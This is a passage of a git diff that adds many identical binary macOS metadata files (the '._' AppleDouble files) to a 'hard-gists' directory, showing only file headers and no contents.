diff --git a/hard-gists/._642535b8baeaedb02a56 b/hard-gists/._642535b8baeaedb02a56
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._642535b8baeaedb02a56 differ
diff --git a/hard-gists/._6426282 b/hard-gists/._6426282
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6426282 differ
diff --git a/hard-gists/._643f812a275a9e0c75048aab6988a92c b/hard-gists/._643f812a275a9e0c75048aab6988a92c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._643f812a275a9e0c75048aab6988a92c differ
diff --git a/hard-gists/._6446136 b/hard-gists/._6446136
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6446136 differ
diff --git a/hard-gists/._6453947 b/hard-gists/._6453947
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6453947 differ
diff --git a/hard-gists/._6454814 b/hard-gists/._6454814
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6454814 differ
diff --git a/hard-gists/._6462976 b/hard-gists/._6462976
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6462976 differ
diff --git a/hard-gists/._6463966 b/hard-gists/._6463966
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6463966 differ
diff --git a/hard-gists/._6467595 b/hard-gists/._6467595
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6467595 differ
diff --git a/hard-gists/._6471e364501e7c62a0c41d92fa6090bc b/hard-gists/._6471e364501e7c62a0c41d92fa6090bc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6471e364501e7c62a0c41d92fa6090bc differ
diff --git a/hard-gists/._6472432 b/hard-gists/._6472432
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6472432 differ
diff --git a/hard-gists/._64821d31816bce595a4bbd98588b37f5 b/hard-gists/._64821d31816bce595a4bbd98588b37f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._64821d31816bce595a4bbd98588b37f5 differ
diff --git a/hard-gists/._6483510 b/hard-gists/._6483510
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6483510 differ
diff --git a/hard-gists/._6499135 b/hard-gists/._6499135
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6499135 differ
diff --git a/hard-gists/._64cf037c55c0d42196762c0ccacc7380 b/hard-gists/._64cf037c55c0d42196762c0ccacc7380
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._64cf037c55c0d42196762c0ccacc7380 differ
diff --git a/hard-gists/._6504557 b/hard-gists/._6504557
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6504557 differ
diff --git a/hard-gists/._6507189 b/hard-gists/._6507189
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6507189 differ
diff --git a/hard-gists/._6507cb95562f1db6df84 b/hard-gists/._6507cb95562f1db6df84
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6507cb95562f1db6df84 differ
diff --git a/hard-gists/._6509307 b/hard-gists/._6509307
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6509307 differ
diff --git a/hard-gists/._651080 b/hard-gists/._651080
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._651080 differ
diff --git a/hard-gists/._651afb13d45e4c587f63 b/hard-gists/._651afb13d45e4c587f63
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._651afb13d45e4c587f63 differ
diff --git a/hard-gists/._6530635 b/hard-gists/._6530635
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6530635 differ
diff --git a/hard-gists/._6532185 b/hard-gists/._6532185
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6532185 differ
diff --git a/hard-gists/._6532334 b/hard-gists/._6532334
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6532334 differ
diff --git a/hard-gists/._6536381 b/hard-gists/._6536381
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6536381 differ
diff --git a/hard-gists/._654157 b/hard-gists/._654157
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._654157 differ
diff --git a/hard-gists/._6551668 b/hard-gists/._6551668
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6551668 differ
diff --git a/hard-gists/._65538 b/hard-gists/._65538
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._65538 differ
diff --git a/hard-gists/._6553a21faade20f72e9f b/hard-gists/._6553a21faade20f72e9f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6553a21faade20f72e9f differ
diff --git a/hard-gists/._6557760 b/hard-gists/._6557760
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6557760 differ
diff --git a/hard-gists/._6562886 b/hard-gists/._6562886
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6562886 differ
diff --git a/hard-gists/._6572592 b/hard-gists/._6572592
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6572592 differ
diff --git a/hard-gists/._6576933 b/hard-gists/._6576933
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6576933 differ
diff --git a/hard-gists/._6581415 b/hard-gists/._6581415
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6581415 differ
diff --git a/hard-gists/._659867 b/hard-gists/._659867
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._659867 differ
diff --git a/hard-gists/._65fbce1860ef204ee908 b/hard-gists/._65fbce1860ef204ee908
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._65fbce1860ef204ee908 differ
diff --git a/hard-gists/._660303 b/hard-gists/._660303
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._660303 differ
diff --git a/hard-gists/._6604662 b/hard-gists/._6604662
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6604662 differ
diff --git a/hard-gists/._6606487 b/hard-gists/._6606487
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6606487 differ
diff --git a/hard-gists/._660a9d578b5f0225e5f0 b/hard-gists/._660a9d578b5f0225e5f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._660a9d578b5f0225e5f0 differ
diff --git a/hard-gists/._6622819 b/hard-gists/._6622819
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6622819 differ
diff --git a/hard-gists/._6622928 b/hard-gists/._6622928
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6622928 differ
diff --git a/hard-gists/._6623972 b/hard-gists/._6623972
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6623972 differ
diff --git a/hard-gists/._6625609 b/hard-gists/._6625609
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6625609 differ
diff --git a/hard-gists/._6627336 b/hard-gists/._6627336
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6627336 differ
diff --git a/hard-gists/._6637377 b/hard-gists/._6637377
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6637377 differ
diff --git a/hard-gists/._6649639 b/hard-gists/._6649639
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6649639 differ
diff --git a/hard-gists/._667150e96fdc2d53fd11 b/hard-gists/._667150e96fdc2d53fd11
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._667150e96fdc2d53fd11 differ
diff --git a/hard-gists/._6673250 b/hard-gists/._6673250
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6673250 differ
diff --git a/hard-gists/._667919 b/hard-gists/._667919
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._667919 differ
diff --git a/hard-gists/._6679768 b/hard-gists/._6679768
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6679768 differ
diff --git a/hard-gists/._667c5554e5d9d9a25ae6 b/hard-gists/._667c5554e5d9d9a25ae6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._667c5554e5d9d9a25ae6 differ
diff --git a/hard-gists/._667e61d2f101f2f04542 b/hard-gists/._667e61d2f101f2f04542
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._667e61d2f101f2f04542 differ
diff --git a/hard-gists/._6680676 b/hard-gists/._6680676
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6680676 differ
diff --git a/hard-gists/._668791 b/hard-gists/._668791
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._668791 differ
diff --git a/hard-gists/._6691093 b/hard-gists/._6691093
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6691093 differ
diff --git a/hard-gists/._6695625 b/hard-gists/._6695625
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6695625 differ
diff --git a/hard-gists/._66ed98cf3fc2b161df47c0c08954dc62 b/hard-gists/._66ed98cf3fc2b161df47c0c08954dc62
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._66ed98cf3fc2b161df47c0c08954dc62 differ
diff --git a/hard-gists/._66f1569ebb0d878748fe b/hard-gists/._66f1569ebb0d878748fe
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._66f1569ebb0d878748fe differ
diff --git a/hard-gists/._67044 b/hard-gists/._67044
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._67044 differ
diff --git a/hard-gists/._6714b632c92d8967fd3c b/hard-gists/._6714b632c92d8967fd3c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6714b632c92d8967fd3c differ
diff --git a/hard-gists/._6718314 b/hard-gists/._6718314
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6718314 differ
diff --git a/hard-gists/._6719172 b/hard-gists/._6719172
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6719172 differ
diff --git a/hard-gists/._672229 b/hard-gists/._672229
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._672229 differ
diff --git a/hard-gists/._6754465 b/hard-gists/._6754465
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6754465 differ
diff --git a/hard-gists/._6759305 b/hard-gists/._6759305
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6759305 differ
diff --git a/hard-gists/._6770178 b/hard-gists/._6770178
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6770178 differ
diff --git a/hard-gists/._6771295 b/hard-gists/._6771295
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6771295 differ
diff --git a/hard-gists/._6776391 b/hard-gists/._6776391
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6776391 differ
diff --git a/hard-gists/._6799568 b/hard-gists/._6799568
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6799568 differ
diff --git a/hard-gists/._67bdd4bd8c26e2178579 b/hard-gists/._67bdd4bd8c26e2178579
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._67bdd4bd8c26e2178579 differ
diff --git a/hard-gists/._67c14af0d5afaae5b18c b/hard-gists/._67c14af0d5afaae5b18c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._67c14af0d5afaae5b18c differ
diff --git a/hard-gists/._67c7a6d77a6da0a56329 b/hard-gists/._67c7a6d77a6da0a56329
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._67c7a6d77a6da0a56329 differ
diff --git a/hard-gists/._67effa81dd1cd5a488b4 b/hard-gists/._67effa81dd1cd5a488b4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._67effa81dd1cd5a488b4 differ
diff --git a/hard-gists/._6808772 b/hard-gists/._6808772
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6808772 differ
diff --git a/hard-gists/._6815711 b/hard-gists/._6815711
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6815711 differ
diff --git a/hard-gists/._6838974 b/hard-gists/._6838974
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6838974 differ
diff --git a/hard-gists/._6843565 b/hard-gists/._6843565
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6843565 differ
diff --git a/hard-gists/._6856389 b/hard-gists/._6856389
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6856389 differ
diff --git a/hard-gists/._6869344 b/hard-gists/._6869344
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6869344 differ
diff --git a/hard-gists/._6874944 b/hard-gists/._6874944
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6874944 differ
diff --git a/hard-gists/._6874ff814ab7f2530b2a b/hard-gists/._6874ff814ab7f2530b2a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6874ff814ab7f2530b2a differ
diff --git a/hard-gists/._6893b83409ae4575e2bd b/hard-gists/._6893b83409ae4575e2bd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6893b83409ae4575e2bd differ
diff --git a/hard-gists/._689f4a38bc6cb9a7adc0 b/hard-gists/._689f4a38bc6cb9a7adc0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._689f4a38bc6cb9a7adc0 differ
diff --git a/hard-gists/._6901429 b/hard-gists/._6901429
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6901429 differ
diff --git a/hard-gists/._691e97ce22f7cd43d6a9d54305344587 b/hard-gists/._691e97ce22f7cd43d6a9d54305344587
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._691e97ce22f7cd43d6a9d54305344587 differ
diff --git a/hard-gists/._6947661 b/hard-gists/._6947661
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6947661 differ
diff --git a/hard-gists/._6957826 b/hard-gists/._6957826
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6957826 differ
diff --git a/hard-gists/._6958459 b/hard-gists/._6958459
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6958459 differ
diff --git a/hard-gists/._6987693 b/hard-gists/._6987693
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6987693 differ
diff --git a/hard-gists/._6993747 b/hard-gists/._6993747
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6993747 differ
diff --git a/hard-gists/._69aae99be6f6acfadf2073817c2f61b0 b/hard-gists/._69aae99be6f6acfadf2073817c2f61b0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._69aae99be6f6acfadf2073817c2f61b0 differ
diff --git a/hard-gists/._69aec1259131b5619fb7 b/hard-gists/._69aec1259131b5619fb7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._69aec1259131b5619fb7 differ
diff --git a/hard-gists/._69b8e351dac87f4c3f5b440632727fdb b/hard-gists/._69b8e351dac87f4c3f5b440632727fdb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._69b8e351dac87f4c3f5b440632727fdb differ
diff --git a/hard-gists/._69da10ec6f22c6d7b92deefdb4a4f475 b/hard-gists/._69da10ec6f22c6d7b92deefdb4a4f475
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._69da10ec6f22c6d7b92deefdb4a4f475 differ
diff --git a/hard-gists/._69dfe7943b076f0d79db b/hard-gists/._69dfe7943b076f0d79db
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._69dfe7943b076f0d79db differ
diff --git a/hard-gists/._69f4acd1fc094c66ba73 b/hard-gists/._69f4acd1fc094c66ba73
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._69f4acd1fc094c66ba73 differ
diff --git a/hard-gists/._6a01cbe55657121a1f3d b/hard-gists/._6a01cbe55657121a1f3d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6a01cbe55657121a1f3d differ
diff --git a/hard-gists/._6a9e5ef2921c0214eeeb b/hard-gists/._6a9e5ef2921c0214eeeb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6a9e5ef2921c0214eeeb differ
diff --git a/hard-gists/._6aa898d22e74aa9dafc3 b/hard-gists/._6aa898d22e74aa9dafc3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6aa898d22e74aa9dafc3 differ
diff --git a/hard-gists/._6af3dd8894ec4255a63f b/hard-gists/._6af3dd8894ec4255a63f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6af3dd8894ec4255a63f differ
diff --git a/hard-gists/._6af6a8478561aa8a0121 b/hard-gists/._6af6a8478561aa8a0121
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6af6a8478561aa8a0121 differ
diff --git a/hard-gists/._6b2273d7e332f29193d0 b/hard-gists/._6b2273d7e332f29193d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6b2273d7e332f29193d0 differ
diff --git a/hard-gists/._6b2944d74ec9dd229938 b/hard-gists/._6b2944d74ec9dd229938
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6b2944d74ec9dd229938 differ
diff --git a/hard-gists/._6b93a8028f4dc40cab49 b/hard-gists/._6b93a8028f4dc40cab49
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6b93a8028f4dc40cab49 differ
diff --git a/hard-gists/._6b9bae1310f2ee6b47ba3663bdcb1ded b/hard-gists/._6b9bae1310f2ee6b47ba3663bdcb1ded
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6b9bae1310f2ee6b47ba3663bdcb1ded differ
diff --git a/hard-gists/._6bb9ddb5d904b7275c62 b/hard-gists/._6bb9ddb5d904b7275c62
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6bb9ddb5d904b7275c62 differ
diff --git a/hard-gists/._6c168b0c36ca3b23cacc b/hard-gists/._6c168b0c36ca3b23cacc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6c168b0c36ca3b23cacc differ
diff --git a/hard-gists/._6c78e65f4b78adfa3766 b/hard-gists/._6c78e65f4b78adfa3766
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6c78e65f4b78adfa3766 differ
diff --git a/hard-gists/._6ca93b8309f05055c6a3 b/hard-gists/._6ca93b8309f05055c6a3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6ca93b8309f05055c6a3 differ
diff --git a/hard-gists/._6cd16631253eed21f37f b/hard-gists/._6cd16631253eed21f37f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6cd16631253eed21f37f differ
diff --git a/hard-gists/._6d459a8c2ae945808d69 b/hard-gists/._6d459a8c2ae945808d69
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6d459a8c2ae945808d69 differ
diff --git a/hard-gists/._6d6bb834d48b9664b38d b/hard-gists/._6d6bb834d48b9664b38d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6d6bb834d48b9664b38d differ
diff --git a/hard-gists/._6d7c78ea329d4e9e1217 b/hard-gists/._6d7c78ea329d4e9e1217
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6d7c78ea329d4e9e1217 differ
diff --git a/hard-gists/._6d94b7d06f7ed9d8bfc4985b094bf6d4 b/hard-gists/._6d94b7d06f7ed9d8bfc4985b094bf6d4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6d94b7d06f7ed9d8bfc4985b094bf6d4 differ
diff --git a/hard-gists/._6da9a7c1e03912fde62e b/hard-gists/._6da9a7c1e03912fde62e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6da9a7c1e03912fde62e differ
diff --git a/hard-gists/._6e1016cc188104d123676ccef3264981 b/hard-gists/._6e1016cc188104d123676ccef3264981
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6e1016cc188104d123676ccef3264981 differ
diff --git a/hard-gists/._6e20dba959277bd9af77 b/hard-gists/._6e20dba959277bd9af77
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6e20dba959277bd9af77 differ
diff --git a/hard-gists/._6e41e8512c17eae5da50aebef3378a4c b/hard-gists/._6e41e8512c17eae5da50aebef3378a4c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6e41e8512c17eae5da50aebef3378a4c differ
diff --git a/hard-gists/._6e56d947ceaacdebb7fd3a88ed89cb6c b/hard-gists/._6e56d947ceaacdebb7fd3a88ed89cb6c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6e56d947ceaacdebb7fd3a88ed89cb6c differ
diff --git a/hard-gists/._6f490f3a0e082ae6592a630bd7abe588 b/hard-gists/._6f490f3a0e082ae6592a630bd7abe588
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6f490f3a0e082ae6592a630bd7abe588 differ
diff --git a/hard-gists/._6ffa8fb7756c16798b2a b/hard-gists/._6ffa8fb7756c16798b2a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._6ffa8fb7756c16798b2a differ
diff --git a/hard-gists/._7002279 b/hard-gists/._7002279
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7002279 differ
diff --git a/hard-gists/._7002396 b/hard-gists/._7002396
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7002396 differ
diff --git a/hard-gists/._7003083 b/hard-gists/._7003083
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7003083 differ
diff --git a/hard-gists/._700554 b/hard-gists/._700554
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._700554 differ
diff --git a/hard-gists/._701416 b/hard-gists/._701416
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._701416 differ
diff --git a/hard-gists/._7015554 b/hard-gists/._7015554
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7015554 differ
diff --git a/hard-gists/._701904 b/hard-gists/._701904
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._701904 differ
diff --git a/hard-gists/._7019296a9a9ad74e44f0 b/hard-gists/._7019296a9a9ad74e44f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7019296a9a9ad74e44f0 differ
diff --git a/hard-gists/._7020937 b/hard-gists/._7020937
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7020937 differ
diff --git a/hard-gists/._7025496 b/hard-gists/._7025496
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7025496 differ
diff --git a/hard-gists/._7026954 b/hard-gists/._7026954
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7026954 differ
diff --git a/hard-gists/._702a848ba0a7a64b139985f5cad885f0 b/hard-gists/._702a848ba0a7a64b139985f5cad885f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._702a848ba0a7a64b139985f5cad885f0 differ
diff --git a/hard-gists/._702d05be879fa5a23d2b b/hard-gists/._702d05be879fa5a23d2b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._702d05be879fa5a23d2b differ
diff --git a/hard-gists/._7030355 b/hard-gists/._7030355
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7030355 differ
diff --git a/hard-gists/._704add465613d5ca0d53 b/hard-gists/._704add465613d5ca0d53
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._704add465613d5ca0d53 differ
diff --git a/hard-gists/._706573 b/hard-gists/._706573
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._706573 differ
diff --git a/hard-gists/._7065820 b/hard-gists/._7065820
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7065820 differ
diff --git a/hard-gists/._7079332cab038da1394d b/hard-gists/._7079332cab038da1394d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7079332cab038da1394d differ
diff --git a/hard-gists/._7088662 b/hard-gists/._7088662
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7088662 differ
diff --git a/hard-gists/._7091940 b/hard-gists/._7091940
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7091940 differ
diff --git a/hard-gists/._709384 b/hard-gists/._709384
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._709384 differ
diff --git a/hard-gists/._709890 b/hard-gists/._709890
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._709890 differ
diff --git a/hard-gists/._70df4922fec74ea87405b83840b45d57 b/hard-gists/._70df4922fec74ea87405b83840b45d57
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._70df4922fec74ea87405b83840b45d57 differ
diff --git a/hard-gists/._70e5fefe128214b7d2a1 b/hard-gists/._70e5fefe128214b7d2a1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._70e5fefe128214b7d2a1 differ
diff --git a/hard-gists/._70ed63ee8992c401a9dd b/hard-gists/._70ed63ee8992c401a9dd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._70ed63ee8992c401a9dd differ
diff --git a/hard-gists/._7103585 b/hard-gists/._7103585
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7103585 differ
diff --git a/hard-gists/._710480 b/hard-gists/._710480
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._710480 differ
diff --git a/hard-gists/._71152286b0a8826249fe b/hard-gists/._71152286b0a8826249fe
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._71152286b0a8826249fe differ
diff --git a/hard-gists/._712c270355b6c2642600 b/hard-gists/._712c270355b6c2642600
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._712c270355b6c2642600 differ
diff --git a/hard-gists/._7131838 b/hard-gists/._7131838
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7131838 differ
diff --git a/hard-gists/._7131909 b/hard-gists/._7131909
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7131909 differ
diff --git a/hard-gists/._715284 b/hard-gists/._715284
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._715284 differ
diff --git a/hard-gists/._7157510 b/hard-gists/._7157510
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7157510 differ
diff --git a/hard-gists/._716261 b/hard-gists/._716261
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._716261 differ
diff --git a/hard-gists/._7183354 b/hard-gists/._7183354
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7183354 differ
diff --git a/hard-gists/._7191601fd58bb37a9efd b/hard-gists/._7191601fd58bb37a9efd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7191601fd58bb37a9efd differ
diff --git a/hard-gists/._719502 b/hard-gists/._719502
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._719502 differ
diff --git a/hard-gists/._719fc5e3a21dd2779d9fe69bf41e6ba6 b/hard-gists/._719fc5e3a21dd2779d9fe69bf41e6ba6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._719fc5e3a21dd2779d9fe69bf41e6ba6 differ
diff --git a/hard-gists/._71b14c4beab12998b6d1 b/hard-gists/._71b14c4beab12998b6d1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._71b14c4beab12998b6d1 differ
diff --git a/hard-gists/._71eda2aab0ee32d19b01 b/hard-gists/._71eda2aab0ee32d19b01
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._71eda2aab0ee32d19b01 differ
diff --git a/hard-gists/._7226559 b/hard-gists/._7226559
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7226559 differ
diff --git a/hard-gists/._7228939 b/hard-gists/._7228939
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7228939 differ
diff --git a/hard-gists/._7230348 b/hard-gists/._7230348
new file mode 100644
index 00000000..cd8af967
